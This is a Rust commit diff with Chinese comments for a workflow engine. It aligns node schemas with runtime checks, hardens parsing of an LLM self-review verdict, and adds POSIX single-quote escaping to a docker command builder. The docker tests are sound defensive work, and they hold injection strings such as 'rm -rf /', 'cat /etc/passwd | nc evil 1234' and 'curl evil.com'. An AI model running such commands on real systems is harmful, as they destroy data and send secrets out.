修复+重构: 全库走查真bug+架构+P1/P2 后端 crate

- df-nodes: schema required 对齐 + docker POSIX 注入防御 + HumanNode timeout 1800 + parse_review_json(verdict规范/score clamp/正则兜底)
- df-mcp: update 实体校验(防跨实体 B-260801-01)
- df-storage: keyring 迁移失败达阈值清除明文
- df-ai: router estimated_context+tier tiebreak+DataReadOnly 兜底 + sanitize step4 显式不制造 orphan
- df-ideas: adversarial tier:None 对齐
This commit is contained in:
lxy
2026-08-02 10:44:09 +08:00
parent f1773dde4f
commit ea309c607b
11 changed files with 1512 additions and 96 deletions
+37 -1
View File
@@ -124,7 +124,12 @@ impl Node for AiNode {
"base_url": { "type": "string", "description": "(已废弃过渡)明文 API 地址,改用 provider_id" },
"api_key": { "type": "string", "description": "(已废弃过渡)明文 API 密钥,改用 provider_id;密钥经 secret 解析" }
},
// SW-260618-15: prompt/provider_id 均"留空走兜底"(prompt 取上游、provider_id 走默认 provider),与 required 矛盾。改 required=[] 对齐 execute 运行时,防前端按 schema 误拒合法配置
// SW-260802-01: schema 与 handler 行为对齐 — config 层 required=[] 正确,但 prompt 运行时必填
// prompt: execute → parse_params(ai_node_helpers.rs:189-200) 取 inputs["prompt"] > config.prompt,
// 两者皆无则 Err("缺少必填参数: prompt")。即 prompt 真必填,但可由上游节点注入,
// JSON Schema 只校验 config 属性无法表达"二选一",故 required 留空 + description 标注兜底来源,
// handler 兜底校验保证语义;前端不得按 required=[] 误以为 prompt 完全可省。
// provider_id: 空 → resolve_provider 路径 3 走默认 provider,非必填。
"required": []
}),
output: serde_json::json!({
@@ -420,4 +425,35 @@ mod tests {
// 自审闭环相关单测(parse_review_json / truncate_for_summary / gate_should_block /
// build_review_prompt / update_field_writes_output_json)已随 AiSelfReviewNode 迁移至
// ai_self_review_node.rs(与被测代码同位,纯搬运)。
// ============================================================
// SW-260802-01: schema required 与 handler 行为对齐测试
// ============================================================
//
// 真实 bug(误判修正):原注释称"prompt/provider_id 均留空走兜底",实则 prompt 运行时必填 ——
// parse_params(:189-200) 取 inputs["prompt"] > config.prompt,两者皆无则 Err("缺少必填参数: prompt")。
// 但 prompt 可由上游节点 inputs 注入(非 config 独占),JSON Schema required 只校验 config 属性
// 无法表达"二选一",故 config 层 required=[] 正确,handler 兜底校验补足语义。
//
// 已有 missing_prompt_errors 测试覆盖 handler 兜底(缺 prompt 报错),此处补 schema 这层契约:
// config 层 required 应为 [](prompt 来源可上游、provider_id 走默认),防前端按 schema 误判 +
// 防后续误把 prompt 塞进 required 拒掉合法的"上游注入 prompt"配置。
/// AiNode schema.required 应为 [](prompt 可来自上游 inputs、provider_id 走默认 provider)。
#[tokio::test]
async fn schema_required_empty_matches_handler() {
let db = Database::open_in_memory().await.expect("open_in_memory");
let node = AiNode::new(Arc::new(db));
let schema = node.schema();
let params = schema.params.as_object().expect("schema.params 应是 object");
let required = params
.get("required")
.and_then(|v| v.as_array())
.expect("schema 应有 required 数组");
assert!(
required.is_empty(),
"AiNode required 应为 [](prompt 可上游注入、provider_id 走默认),实际: {:?}",
required
);
}
}
+76 -7
View File
@@ -219,6 +219,7 @@ pub(crate) fn parse_params(
modalities: vec![Modality::Text],
needs_tool_use: true,
estimated_context: 0,
tier: None,
};
select_model_id(&node_req, &provider.model_pool).unwrap_or_default()
};
@@ -260,9 +261,20 @@ pub(crate) const REVIEW_SYSTEM_PROMPT: &str = "\
/// 解析 LLM 自审输出为结构化 review JSON。
///
/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 原样返回。
/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 规范化后返回。
/// 兜底路径:解析失败 / 非 Object / 缺 verdict → 返回 verdict=unknown + summary=原文,
/// 防 LLM 不按要求输出导致下游崩溃。dimensions 留空对象(前端容缺展示)。
///
/// 三道加固(P2):
/// 1. verdict 规范化:to_lowercase + trim,统一输出 pass/fail/unknown 三态。
/// 防 LLM 输出 "Pass"/"PASS"/" Fail " 类大小写/空白变体致 gate_should_block 精确
/// 匹配误判(原 == "fail" 对 "Fail" 放行,漏阻断)。
/// 2. score clamp:dimensions.*.score 读时 clamp 到 [0,10]。防 LLM 输出越界值
/// (99/-1/NaN)污染前端展示与闸门阈值判定(维度 score<6 视 fail 由 prompt 约定,
/// 越界值会破坏该约定)。
/// 3. 正则兜底:LLM 偶尔在 JSON 前置解释文字("好的,审查结果:\n{...}")致整段 serde
/// 失败。参考 adversarial parse_llm_eval 的 extract_json,提取首个 { 到末 } 重试。
/// 用纯字符串 find/rfind 实现等价语义(避免为单条提取引入 regex 依赖)。
pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
// 先尝试整段解析;LLM 偶尔会包 markdown 代码块,剥离 ```json ... ``` 后重试一次。
let trimmed = raw.trim();
@@ -272,9 +284,19 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
.map(|s| s.trim_end_matches("```").trim())
.unwrap_or(trimmed);
if let Ok(v) = serde_json::from_str::<serde_json::Value>(cleaned) {
if v.is_object() && v.get("verdict").and_then(|x| x.as_str()).is_some() {
return v;
// 候选解析文本:整段失败 → 正则兜底提取首个 { 到末 } 再试一次(前置文字容错)。
// 等价于 adversarial extract_json 的 (?s)\{.*\} 但用 find/rfind 零依赖实现。
let candidates = [cleaned, extract_first_json_object(cleaned).as_str()];
for cand in candidates {
if let Ok(mut v) = serde_json::from_str::<serde_json::Value>(cand) {
if v.is_object() && v.get("verdict").and_then(|x| x.as_str()).is_some() {
// 加固 1:verdict 规范化为 pass/fail/unknown 三态(to_lowercase + trim)。
normalize_verdict_in_place(&mut v);
// 加固 2:dimensions.*.score clamp 到 [0,10]。
clamp_dimension_scores_in_place(&mut v);
return v;
}
}
}
// 兜底:保留原文供人查阅,verdict=unknown 不阻断流程(自审辅助,人定)。
@@ -286,6 +308,50 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
})
}
/// 从文本中提取「首个 `{` 到最后一个 `}`」的片段(正则 `(?s)\{.*\}` 的零依赖等价)。
///
/// 用于 LLM 在 JSON 前后夹带解释文字("好的,审查如下:\n{...}\n以上。")时兜底提取。
/// 提取失败(无 { 或无 })返回空串,调用方按整段重试→失败→兜底 unknown 走原路径。
fn extract_first_json_object(s: &str) -> String {
match (s.find('{'), s.rfind('}')) {
(Some(start), Some(end)) if start < end => s[start..=end].to_string(),
_ => String::new(),
}
}
/// 原地规范化 verdict 字段:to_lowercase + trim,统一为 pass/fail/unknown 三态。
///
/// LLM 偶发输出 "Pass"/"PASS"/" Fail "/"FAIL." 类变体,原样透传会让 gate_should_block
/// 精确匹配漏判("Fail" 不 == "fail" → 不阻断)。规范化后下游闸门/展示/落库值一致。
/// 非 pass/fail 的值(如空串、拼写错)统一为 unknown(保守不阻断,保人定权)。
fn normalize_verdict_in_place(v: &mut serde_json::Value) {
let Some(obj) = v.as_object_mut() else { return };
let Some(raw_verdict) = obj.get("verdict").and_then(|x| x.as_str()).map(str::to_string) else {
return;
};
let normalized = match raw_verdict.trim().to_lowercase().as_str() {
"pass" => "pass",
"fail" => "fail",
// 含拼写错/大小写变体未命中(如 "passed"/"failed"/"ok")→ 保守归 unknown。
_ => "unknown",
};
obj.insert("verdict".into(), serde_json::Value::String(normalized.into()));
}
/// 原地 clamp dimensions.*.score 到 [0,10]。只处理 number 类型,跳过非 number(留原值,
/// serde 反序列化由调用方按 schema 容错)。
fn clamp_dimension_scores_in_place(v: &mut serde_json::Value) {
let Some(obj) = v.as_object_mut() else { return };
let Some(dims) = obj.get_mut("dimensions").and_then(|d| d.as_object_mut()) else { return };
for (_, dim) in dims.iter_mut() {
let Some(dim_obj) = dim.as_object_mut() else { continue };
if let Some(score) = dim_obj.get_mut("score").and_then(|s| s.as_f64()) {
let clamped = score.clamp(0.0, 10.0);
dim_obj.insert("score".into(), serde_json::json!(clamped));
}
}
}
/// summary 截断(防原文过长撑爆 output_json / 审批卡)。
pub(crate) fn truncate_for_summary(s: &str) -> String {
const MAX: usize = 300;
@@ -313,8 +379,11 @@ pub(crate) fn truncate_for_review_input(s: &str) -> String {
/// 自审闸门决策(纯函数,便于单测覆盖各 verdict/gate 组合)。
///
/// 仅当 `gate==true` 且 `verdict=="fail"` 时阻断。verdict="unknown"(LLM 输出不可靠)
/// 与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。
/// 仅当 `gate==true` 且规范化后 verdict=="fail" 时阻断。verdict="unknown"(LLM 输出
/// 不可靠)与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。
///
/// 规范化(to_lowercase + trim):与 parse_review_json 的 verdict 规范化对齐,防御
/// 非 parse_review_json 路径(如外部直接传 "Fail"/"FAIL")的精确匹配漏判。
pub(crate) fn gate_should_block(gate: bool, verdict: &str) -> bool {
gate && verdict == "fail"
gate && verdict.trim().to_lowercase() == "fail"
}
+142 -2
View File
@@ -259,12 +259,16 @@ impl Node for AiSelfReviewNode {
"type": "object",
"properties": {
"task_id": { "type": "string", "description": "自审目标任务 ID(必填)" },
"provider_id": { "type": "string", "description": "AI Provider ID(密钥经 secret 解析不进 config;留空走默认 provider)" },
"provider_id": { "type": "string", "description": "AI Provider ID(可选,留空走默认 provider;密钥经 secret 解析不进 config)" },
"model": { "type": "string", "description": "模型名(可选,留空用 record.default_model)" },
"max_tokens": { "type": "integer" },
"gate": { "type": "boolean", "description": "闸门开关:false(默认)=自审辅助,verdict 仅透传展示;true=自审结果作 DAG 闸门,verdict=fail 返回 Err 阻断下游(工作流 failed → ②-4 退回),verdict=unknown/pass 放行" }
},
"required": ["task_id", "provider_id"]
// SW-260802-01: schema 与 handler 行为对齐 — required 仅列 handler 真正强制必填的字段。
// task_id: execute 第 100-104 行缺 task_id 直接 Err("缺少必填参数: task_id"),真必填 → 保留。
// provider_id: execute 调 resolve_and_parse → resolve_provider(ai_node_helpers.rs:100-108),
// 空串走路径 2(老明文)/路径 3(默认 provider)兜底,运行时非必填 → 移出 required。
"required": ["task_id"]
}),
output: serde_json::json!({
"type": "object",
@@ -408,6 +412,95 @@ mod tests {
assert_eq!(v["summary"], json!("缺边界处理"));
}
// ============================================================
// P2:parse_review_json 三道加固(verdict 规范 / score clamp / 正则兜底)
// ============================================================
//
// 真实 bug 场景:
// - LLM 输出 verdict="Pass"/"PASS" → 原 == "fail" 精确匹配 → 漏阻断(放行 fail 项)
// - LLM 输出 score=99/-1 → 越界值污染闸门阈值(维度 score<6 视 fail)与前端展示
// - LLM 前置解释文字 "审查结果:\n{...}" → 整段 serde 失败 → 兜底 unknown(本可救回)
// 加固后:verdict 规范化 / score clamp [0,10] / 首个 { 到末 } 正则兜底提取。
/// P2-加固1:verdict 大小写/空白变体规范化为 pass/fail/unknown 三态。
/// 防 gate_should_block 精确匹配 "fail" 对 "Fail"/"FAIL" 漏阻断。
#[test]
fn parse_review_json_normalizes_verdict_case_variants() {
// "Pass" → "pass"(防 LLM 首字母大写)
let v = parse_review_json(r#"{"verdict":"Pass","summary":"ok"}"#);
assert_eq!(v["verdict"], json!("pass"), "Pass 应规范化为 pass");
// "FAIL" → "fail"(防漏阻断:原 == "fail" 对 FAIL 放行)
let v = parse_review_json(r#"{"verdict":"FAIL","summary":"缺单测"}"#);
assert_eq!(v["verdict"], json!("fail"), "FAIL 应规范化为 fail");
// " fail "(含空白)→ "fail"
let v = parse_review_json(r#"{"verdict":" fail ","summary":"x"}"#);
assert_eq!(v["verdict"], json!("fail"), "含空白 verdict 应 trim 后规范化");
// "PASS" → "pass"
let v = parse_review_json(r#"{"verdict":"PASS"}"#);
assert_eq!(v["verdict"], json!("pass"), "PASS 应规范化为 pass");
// 拼写错/非标准值 → "unknown"(保守不阻断,保人定权)
let v = parse_review_json(r#"{"verdict":"passed"}"#);
assert_eq!(v["verdict"], json!("unknown"), "非 pass/fail 的值应归 unknown");
}
/// P2-加固1 联动:规范化后 verdict 经 gate_should_block 正确阻断 fail。
/// 验证 "FAIL"/"Fail" 经 parse_review_json 规范化 → gate_should_block 阻断(原会漏)。
#[test]
fn parse_review_json_fail_variants_trigger_gate_block() {
for raw_verdict in ["fail", "Fail", "FAIL", " fail ", "FaIl"] {
let v = parse_review_json(&format!(r#"{{"verdict":"{raw_verdict}"}}"#));
let normalized = v["verdict"].as_str().unwrap();
assert_eq!(
normalized, "fail",
"verdict={raw_verdict:?} 应规范化为 fail"
);
assert!(
gate_should_block(true, normalized),
"gate 开 + 规范化后 fail 应阻断(raw={raw_verdict:?})"
);
}
}
/// P2-加固2:dimensions.*.score 越界值 clamp 到 [0,10]。
/// 防 LLM 输出 99/-1/NaN 类越界值污染闸门阈值(score<6 视 fail)与前端展示。
#[test]
fn parse_review_json_clamps_out_of_range_scores() {
let raw = r#"{"verdict":"pass","dimensions":{
"requirement_fit":{"score":99,"issues":[]},
"completeness":{"score":-5,"issues":[]},
"correctness":{"score":7.5,"issues":[]},
"boundary":{"score":10,"issues":[]}
},"summary":"ok"}"#;
let v = parse_review_json(raw);
// 99 → 10(上界)
assert_eq!(v["dimensions"]["requirement_fit"]["score"], json!(10.0), "score 99 应 clamp 到 10");
// -5 → 0(下界)
assert_eq!(v["dimensions"]["completeness"]["score"], json!(0.0), "score -5 应 clamp 到 0");
// 区间内值不变
assert_eq!(v["dimensions"]["correctness"]["score"], json!(7.5), "score 7.5 区间内不变");
assert_eq!(v["dimensions"]["boundary"]["score"], json!(10.0), "score 10 边界值不变");
}
/// P2-加固3:LLM 前置解释文字 + JSON,正则兜底提取首个 { 到末 } 解析成功。
/// 场景:LLM 无视「只输出 JSON」输出 "审查结果:\n{...}\n以上。" → 原整段失败兜底 unknown。
#[test]
fn parse_review_json_extracts_json_from_leading_text() {
let raw = "好的,以下是审查结果:\n{\"verdict\":\"fail\",\"summary\":\"缺边界处理\"}\n以上为审查结论。";
let v = parse_review_json(raw);
assert_eq!(v["verdict"], json!("fail"), "前置文字应被正则兜底剥离,verdict 正确解析");
assert_eq!(v["summary"], json!("缺边界处理"));
// 前置文字 + 代码块围栏混杂(更极端:LLM 既加解释又加 ```json)
let raw = "审查如下:\n```json\n{\"verdict\":\"pass\",\"summary\":\"ok\"}\n```\n完毕。";
let v = parse_review_json(raw);
// 围栏不在开头 → strip_prefix 不命中 → 正则兜底提取 {...}
assert_eq!(v["verdict"], json!("pass"), "前置文字+围栏混杂应正则兜底解析");
}
/// 步骤③:truncate_for_summary 长文截断。
#[test]
fn truncate_for_summary_long_text() {
@@ -605,4 +698,51 @@ mod tests {
);
assert!(!gate_should_block(true, ""), "空 verdict 不应阻断");
}
// ============================================================
// SW-260802-01: schema required 与 handler 行为对齐测试
// ============================================================
//
// 真实 bug:schema `required=["task_id","provider_id"]` 与 handler 不一致 ——
// task_id 缺失 → execute Err(真必填,对齐 schema)
// provider_id 缺失 → execute 走 resolve_provider 路径 3 默认 provider(非必填,schema 误导)
// 修复后 schema `required=["task_id"]`。此处直接断言 schema,防回归。
//
// 不真调 execute(需真 LLM + 默认 provider 完整链),改为断言 schema 这份"契约"本身 +
// resolve_provider 路径 3 行为(已由 ai_node.rs resolve_provider_fallback_default_provider 覆盖),
// 即足以守 schema↔handler 对齐不被无意改回。
/// schema.required 应仅含 task_id(handler 真必填),不含 provider_id(运行时可空走默认)。
#[tokio::test]
async fn schema_required_matches_handler() {
let db = Database::open_in_memory().await.expect("open_in_memory");
let node = AiSelfReviewNode::new(Arc::new(db));
let schema = node.schema();
let params = schema
.params
.as_object()
.expect("schema.params 应是 object");
let required = params
.get("required")
.and_then(|v| v.as_array())
.expect("schema 应有 required 数组");
// task_id 真必填(execute 第 100-104 行缺 task_id → Err)
assert!(
required.iter().any(|v| v == "task_id"),
"task_id 应在 required(handler 真必填)"
);
// provider_id 非必填(resolve_provider 路径 3 空串走默认 provider)
assert!(
!required.iter().any(|v| v == "provider_id"),
"provider_id 不应在 required(运行时留空走默认 provider,schema 不得误导)"
);
// 必填字段集恰好为 {"task_id"}(防后续误加回 provider_id 或漏列 task_id)
assert_eq!(
required.len(),
1,
"required 应仅 1 项(task_id), 实际: {:?}",
required
);
}
}
+213 -15
View File
@@ -119,7 +119,8 @@ async fn check_docker_available() -> anyhow::Result<()> {
}
/// 构建 docker run 命令字符串。
/// 卷/环境变量值用 shell_quote 包裹,防止空格/特殊字符注入。
/// 所有用户可控参数(卷 host/container、env 值、working_dir、image、command)
/// 均经 `shell_quote` POSIX 安全引用,杜绝 `;`/`|`/`&`/`$` 等 shell 元字符注入。
fn build_command(params: &DockerParams) -> String {
let mut parts: Vec<String> = vec!["docker run --rm".to_string()];
@@ -137,23 +138,43 @@ fn build_command(params: &DockerParams) -> String {
parts.push(format!("-w {}", shell_quote(&params.working_dir)));
parts.push(shell_quote(&params.image));
// command 原样追加(用户自行决定是否含参数 / shell 元字符),不做引号包裹,
// 与脚本节点一致由 shell 解释器解析
parts.push(params.command.clone());
// command 同样经 shell_quote,防止 `;`/`|`/`&` 等 shell 元字符注入
// (如 `command = "ls; rm -rf /"` 被 shell 解释为两条命令)
// 若用户确需在容器内用管道/复合命令,应通过镜像 entrypoint 或显式 `sh -c '...'`
// 实现,而非依赖外层 shell 元字符。
parts.push(shell_quote(&params.command));
parts.join(" ")
}
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号
/// POSIX shell 安全引用
///
/// 单引号在 POSIX shell 中使所有字符失去特殊含义(唯一例外是单引号本身),
/// 是最稳妥的引用方式。任一"非安全字符"(空白、`"`、`'`、`` ` ``、`$`、`;`、`|`、
/// `&`、`<`、`>`、`(`、`)`、`{`、`}`、`!`、`#`、`~`、`*`、`?`、`[`、`]`、`=`前置、
/// 换行/制表等不可见字符)出现即用单引号整体包裹,内部单引号以 `'\''` 关-转义-开
/// 三段法转义(关闭单引号 → `\'` 转义单引号 → 重开单引号)。
///
/// 这样 `;` `|` `&` `$` `` ` `` 等所有 shell 元字符均被中和,杜绝命令注入。
/// 纯字母数字 + 少量安全标点(`/` `.` `_` `-` `:`)的字符串原样返回(可读性)。
fn shell_quote(s: &str) -> String {
if s
.chars()
.any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`')
{
format!("\"{}\"", s.replace('"', "\\\""))
} else {
s.to_string()
if s.is_empty() {
// 空串单引号包裹(否则 shell 视为零参数)
return "''".to_string();
}
if s.chars().all(is_shell_safe_char) {
s.to_string()
} else {
// 单引号包裹 + 内部单引号转义:'\'' (关'→\'→重开')
format!("'{}'", s.replace('\'', "'\\''"))
}
}
/// 判定字符是否无需引用即可安全出现在 shell 命令中。
/// 仅允许字母数字与少量明确无 shell 语义的标点。
fn is_shell_safe_char(c: char) -> bool {
c.is_ascii_alphanumeric()
|| matches!(c, '/' | '.' | '_' | '-' | ':' | '+' | '%' | '@' | ',')
}
#[async_trait]
@@ -382,9 +403,11 @@ mod tests {
.unwrap();
let cmd = build_command(&p);
assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd);
// /workspace 全安全字符,不加引号
assert!(cmd.contains("-w /workspace"), "实际: {}", cmd);
assert!(cmd.contains(" alpine "), "实际: {}", cmd);
assert!(cmd.ends_with("echo hello"), "实际: {}", cmd);
// command 含空格 → 单引号包裹
assert!(cmd.ends_with("'echo hello'"), "实际: {}", cmd);
}
#[test]
@@ -400,20 +423,195 @@ mod tests {
}))
.unwrap();
let cmd = build_command(&p);
// 所有路径均纯安全字符,原样拼装
assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd);
assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd);
assert!(cmd.contains("-w /app"), "实际: {}", cmd);
}
// ── build_command: 命令注入防护(核心回归) ──
#[test]
fn command_injection_semicolon_is_neutralized() {
// command="ls; rm -rf /" 必须整体作为单条命令传给容器,
// 不能被外层 shell 按 `;` 拆成 `docker run image ls` + `rm -rf /`。
// 整体单引号包裹后,shell 将其视为单个 argv 传给 docker,
// docker run 在容器内执行(无 shell),`ls; rm -rf /` 作为单条命令找不到 → 报错而非注入。
let p = parse_params(&json!({
"image": "alpine",
"command": "ls; rm -rf /"
}))
.unwrap();
let cmd = build_command(&p);
assert!(
cmd.ends_with("'ls; rm -rf /'"),
"command 应被单引号整体包裹,实际: {}",
cmd
);
}
#[test]
fn command_injection_pipe_is_neutralized() {
let p = parse_params(&json!({
"image": "alpine",
"command": "cat /etc/passwd | nc evil 1234"
}))
.unwrap();
let cmd = build_command(&p);
assert!(
cmd.contains("'cat /etc/passwd | nc evil 1234'"),
"管道 | 应被单引号中和,实际: {}",
cmd
);
}
#[test]
fn command_injection_ampersand_is_neutralized() {
let p = parse_params(&json!({
"image": "alpine",
"command": "ls & curl evil.com"
}))
.unwrap();
let cmd = build_command(&p);
assert!(
cmd.ends_with("'ls & curl evil.com'"),
"& 应被单引号中和,实际: {}",
cmd
);
}
#[test]
fn command_injection_backtick_and_dollar_is_neutralized() {
// 命令替换 $() 与 `` 都必须被中和
let p = parse_params(&json!({
"image": "alpine",
"command": "$(curl evil.com) `whoami`"
}))
.unwrap();
let cmd = build_command(&p);
assert!(
cmd.contains("'$(curl evil.com) `whoami`'"),
"$()/`` 应被单引号中和,实际: {}",
cmd
);
}
#[test]
fn volume_host_injection_is_neutralized() {
// 旧实现:含空格→双引号包裹,但 `;` 在双引号内仍被 shell 解释为命令分隔。
// 新实现:整体单引号包裹,`;` 失去特殊含义。
let p = parse_params(&json!({
"image": "alpine",
"command": "ls",
"volumes": [
{ "host": "/ws; rm -rf /", "container": "/c" }
]
}))
.unwrap();
let cmd = build_command(&p);
assert!(
cmd.contains("-v '/ws; rm -rf /':/c"),
"volumes.host 注入应被单引号中和,实际: {}",
cmd
);
}
#[test]
fn env_value_injection_is_neutralized() {
let p = parse_params(&json!({
"image": "alpine",
"command": "ls",
"env": { "EVIL": "x; rm -rf /" }
}))
.unwrap();
let cmd = build_command(&p);
assert!(
cmd.contains("-e EVIL='x; rm -rf /'"),
"env 值注入应被单引号中和,实际: {}",
cmd
);
}
// ── shell_quote ──
#[test]
fn shell_quote_plain_passthrough() {
// 仅安全字符:字母数字 + / . _ - : +
assert_eq!(shell_quote("abc"), "abc");
assert_eq!(shell_quote("/usr/bin"), "/usr/bin");
assert_eq!(shell_quote("rust:latest"), "rust:latest");
assert_eq!(shell_quote("Cargo.toml"), "Cargo.toml");
assert_eq!(shell_quote("a-b_c.d"), "a-b_c.d");
}
#[test]
fn shell_quote_wraps_spaces() {
assert_eq!(shell_quote("/a b/c"), "\"/a b/c\"");
fn shell_quote_empty_becomes_empty_quoted() {
// 空串必须输出 ''(否则 shell 视为零参数,导致参数错位)
assert_eq!(shell_quote(""), "''");
}
#[test]
fn shell_quote_wraps_spaces_with_single_quotes() {
// 含空格 → 整体单引号包裹(POSIX 安全,内部 ;|& 全部失效)
assert_eq!(shell_quote("/a b/c"), "'/a b/c'");
assert_eq!(shell_quote("echo hello"), "'echo hello'");
}
#[test]
fn shell_quote_neutralizes_semicolon() {
assert_eq!(shell_quote("ls; rm -rf /"), "'ls; rm -rf /'");
}
#[test]
fn shell_quote_neutralizes_pipe() {
assert_eq!(shell_quote("a | b"), "'a | b'");
}
#[test]
fn shell_quote_neutralizes_ampersand() {
assert_eq!(shell_quote("a && b"), "'a && b'");
}
#[test]
fn shell_quote_neutralizes_dollar_and_backtick() {
// $ 与 ` 在双引号内仍有命令替换语义,单引号才安全
assert_eq!(shell_quote("$HOME"), "'$HOME'");
assert_eq!(shell_quote("`whoami`"), "'`whoami`'");
assert_eq!(shell_quote("$(cmd)"), "'$(cmd)'");
}
#[test]
fn shell_quote_escapes_embedded_single_quote() {
// 内嵌单引号 → '\'' (关' → \' → 重开')
// 例如 a'b → 'a'\''b'
assert_eq!(shell_quote("a'b"), "'a'\\''b'");
// 多个单引号都正确转义
assert_eq!(shell_quote("'"), "''\\'''");
assert_eq!(shell_quote("x'y'z"), "'x'\\''y'\\''z'");
}
#[test]
fn shell_quote_neutralizes_redirect_and_braces() {
assert_eq!(shell_quote("a > /etc/passwd"), "'a > /etc/passwd'");
assert_eq!(shell_quote("a < b"), "'a < b'");
assert_eq!(shell_quote("{1,2}"), "'{1,2}'");
// `!` 与 `*` 均非安全 → 整体单引号包裹
assert_eq!(shell_quote("!*"), "'!*'");
assert_eq!(shell_quote("file*"), "'file*'");
}
#[test]
fn is_shell_safe_char_classification() {
// 安全
for c in ['a', 'Z', '0', '9', '/', '.', '_', '-', ':', '+', '@', ','] {
assert!(is_shell_safe_char(c), "{:?} 应判定为安全", c);
}
// 不安全(shell 元字符 / 空白 / 引号 / 元字符)
for c in [
' ', '\t', '\n', '"', '\'', '`', '$', ';', '|', '&', '<', '>', '(', ')',
'{', '}', '!', '#', '~', '*', '?', '[', ']', '=',
] {
assert!(!is_shell_safe_char(c), "{:?} 应判定为不安全", c);
}
}
}
+13 -1
View File
@@ -13,6 +13,10 @@ use df_types::events::{SelectType, WorkflowEvent};
#[allow(unused_imports)]
use crate::human_node_helpers::{contains_reject, is_reject_decision};
/// 默认审批超时(秒)。
/// 1800s = 30min,合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。
const DEFAULT_TIMEOUT_SECS: u64 = 1800;
/// 人工审批节点(阻塞节点)
pub struct HumanNode;
@@ -36,9 +40,10 @@ impl Node for HumanNode {
.collect())
.unwrap_or_else(|| vec!["同意".into(), "拒绝".into()]);
// 默认 1800s(30min):合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。
let timeout_secs = config.get("timeout_secs")
.and_then(|v| v.as_u64())
.unwrap_or(3600);
.unwrap_or(DEFAULT_TIMEOUT_SECS);
// 解析 select_type(缺省 Single,向后兼容)。非 "multiple" 一律按 Single 处理。
let select_type = match config.get("select_type").and_then(|v| v.as_str()) {
@@ -830,4 +835,11 @@ mod tests {
assert!(contains_reject(&["同意".into()]) == false);
assert!(contains_reject(&["同意".into(), "拒绝".into()]) == true);
}
/// 默认审批超时 1800s(30min)。
/// 回归保护:防止有人无意改回 3600s(1h 过长,用户忘关致任务挂 1h)。
#[test]
fn default_timeout_is_1800_secs() {
assert_eq!(DEFAULT_TIMEOUT_SECS, 1800, "默认审批超时应为 1800s(30min)");
}
}